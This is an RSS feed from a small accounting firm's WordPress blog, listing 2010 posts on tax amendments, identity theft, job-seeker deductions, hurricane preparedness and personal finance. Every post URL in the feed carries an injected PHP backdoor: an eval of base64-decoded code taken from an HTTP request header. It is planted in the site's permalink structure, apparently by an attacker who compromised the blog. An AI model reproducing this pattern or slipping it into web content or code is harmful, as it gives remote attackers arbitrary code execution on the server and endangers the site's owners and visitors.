First Capital Advisors, LLC http://www.fcallc.biz/blog Accounting, Bookkeeping, Tax, & Payroll Solutions Sat, 28 Aug 2010 18:55:10 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 There is still time to amend your tax return. http://www.fcallc.biz/blog/2010/08/29/there-is-still-time-to-amend-your-tax-return/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fcallc.biz/blog/2010/08/29/there-is-still-time-to-amend-your-tax-return/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 28 Aug 2010 18:48:14 +0000 flore http://www.fcallc.biz/blog/?p=248 During the course of tax season, many people make mistakes when preparing their returns.  Some of the most common involve the filing status, number of dependents, total income and deductions.  Other mistakes such as computational errors are usually corrected by the IRS. 

Corrections to your return should be made using Form 1040X, Amended US Individual Income [...]]]> http://www.fcallc.biz/blog/2010/08/29/there-is-still-time-to-amend-your-tax-return/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Useful Tips from the IRS to Help Protect Your Identity http://www.fcallc.biz/blog/2010/08/22/useful-tips-from-the-irs-to-help-protect-your-identity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fcallc.biz/blog/2010/08/22/useful-tips-from-the-irs-to-help-protect-your-identity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 22 Aug 2010 14:04:21 +0000 flore http://www.fcallc.biz/blog/?p=246 Identity theft is so prevalent these days.  It is too easy to have your social security number stolen.  It has actually happened to me.  Someone stole my identity and filed a tax return using my social security number.  Luckily for me, I caught it early and was able to prevent any major damage to my [...]]]> http://www.fcallc.biz/blog/2010/08/22/useful-tips-from-the-irs-to-help-protect-your-identity/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Earn extra dollars with InboxDollars.com http://www.fcallc.biz/blog/2010/07/24/earn-extra-dollars-with-inboxdollars-com/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fcallc.biz/blog/2010/07/24/earn-extra-dollars-with-inboxdollars-com/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 24 Jul 2010 01:26:19 +0000 flore http://www.fcallc.biz/blog/?p=243 Nowadays you often hear about how bad the economy is.  Unemployment is high and everything costs more.  Many people are looking for alternative means of earning extra money.

I recently came across a new website titled Inboxdollars.com.  This site provides individuals with an easy way to earn extra money.  As an additional incentive, there is a [...]]]> http://www.fcallc.biz/blog/2010/07/24/earn-extra-dollars-with-inboxdollars-com/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Are you in the market for a new job? Be sure to know your tax benefits. http://www.fcallc.biz/blog/2010/07/16/are-you-in-the-market-for-a-new-job-be-sure-to-know-your-tax-benefits/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fcallc.biz/blog/2010/07/16/are-you-in-the-market-for-a-new-job-be-sure-to-know-your-tax-benefits/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 16 Jul 2010 09:03:03 +0000 flore http://www.fcallc.biz/blog/?p=239 The IRS frequently issues tips to taxpayers on various topics.  One topic of interest is tax benefits for job seekers. With so many people in the job market, the IRS feels that is imperative for job seekers to understand the tax benefits related to their job searches. 

Job seekers are able to deduct most costs incurred [...]]]> http://www.fcallc.biz/blog/2010/07/16/are-you-in-the-market-for-a-new-job-be-sure-to-know-your-tax-benefits/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Hurricane Preparedness http://www.fcallc.biz/blog/2010/06/27/hurricane-preparedness/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fcallc.biz/blog/2010/06/27/hurricane-preparedness/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 27 Jun 2010 10:27:04 +0000 flore http://www.fcallc.biz/blog/?p=233 Despite everything that is going on, please take a few moments to prepare for this year’s hurricane season. Listed below are some useful links with valuable information.  Please pass on to your friends and family.

www.nhc.noaa.gov/HAW2/english/prepare/supply_kit.shtml

www.ready.gov

www.lowes.com/cd_Hurricane+Season+is+Here_848001943_?cm_mmc=search_google-_-Hurricane%20Prep%20Awareness-_-Hurricane%20Prep-_-hurricane%20preparedness%20checklist

www.redcross.org/www-files/Documents/pdf/Preparedness/checklists/Hurricane.pdf

www.fox10tv.com/dpp/weather/hurricane/HurricanePreparednessChecklist

]]> http://www.fcallc.biz/blog/2010/06/27/hurricane-preparedness/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Free Government Resources on Personal Finance http://www.fcallc.biz/blog/2010/06/21/free-government-resources-on-personal-finance/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fcallc.biz/blog/2010/06/21/free-government-resources-on-personal-finance/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 21 Jun 2010 09:18:45 +0000 flore http://www.fcallc.biz/blog/?p=225 Have you ever wondered what government resources are out there? Well, don’t keep wondering, simply click and take advantage of these great resources.

Mymoney.gov-This site provides a wealth of resources for businesses and individuals alike.  Whether you are looking to educate yourself about personal finance or looking for financial management ideas for your business, this is [...]]]> http://www.fcallc.biz/blog/2010/06/21/free-government-resources-on-personal-finance/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Money and Dating http://www.fcallc.biz/blog/2010/05/23/money-and-dating/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fcallc.biz/blog/2010/05/23/money-and-dating/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 23 May 2010 10:02:58 +0000 flore http://www.fcallc.biz/blog/?p=220 Should you date someone who makes more or less money than you do?  This is a tough question because we can’t help who we end up falling in love with.  But personal finances are a big part of any relationship and are a topic that we can’t avoid.

I’ve been in situations where I earned more [...]]]> http://www.fcallc.biz/blog/2010/05/23/money-and-dating/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Your Coffee is on us. http://www.fcallc.biz/blog/2010/04/11/your-coffee-is-on-us/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fcallc.biz/blog/2010/04/11/your-coffee-is-on-us/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 11 Apr 2010 09:28:46 +0000 flore http://www.fcallc.biz/blog/?p=218 On Friday April 16th, in honor of the end of tax season, become our fan on facebook and we’ll give you a free Dunkin Donuts or Starbucks gift card towards a free coffee.   The first 50 people to become our fan and email us at fca@fcallc.biz will receive a gift card.   Our facebook fan page [...]]]> http://www.fcallc.biz/blog/2010/04/11/your-coffee-is-on-us/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 Teaching your kids how to save http://www.fcallc.biz/blog/2010/04/11/teaching-your-kids-how-to-save/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fcallc.biz/blog/2010/04/11/teaching-your-kids-how-to-save/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 11 Apr 2010 09:23:02 +0000 flore http://www.fcallc.biz/blog/?p=216 It has often been said that a penny saved is a penny earned.  This phrase has been passed down from generations.  But sometimes it gets lost and not passed down from a parent to a child.  But how do we teach our children to save?  I learned from my frugal mom and from personal finance [...]]]> http://www.fcallc.biz/blog/2010/04/11/teaching-your-kids-how-to-save/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Keeping the New Year’s Resolution http://www.fcallc.biz/blog/2010/03/28/keeping-the-new-year%e2%80%99s-resolution/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.fcallc.biz/blog/2010/03/28/keeping-the-new-year%e2%80%99s-resolution/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sun, 28 Mar 2010 09:42:33 +0000 flore http://www.fcallc.biz/blog/?p=214 The first quarter of the year is almost over.  And if you are like me, you haven’t been keeping your New Year’s Resolutions.  Of course we are all human and so far this year has been full of surprises and challenges for the entire country.  These challenges often force us to take our eyes off [...]]]> http://www.fcallc.biz/blog/2010/03/28/keeping-the-new-year%e2%80%99s-resolution/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0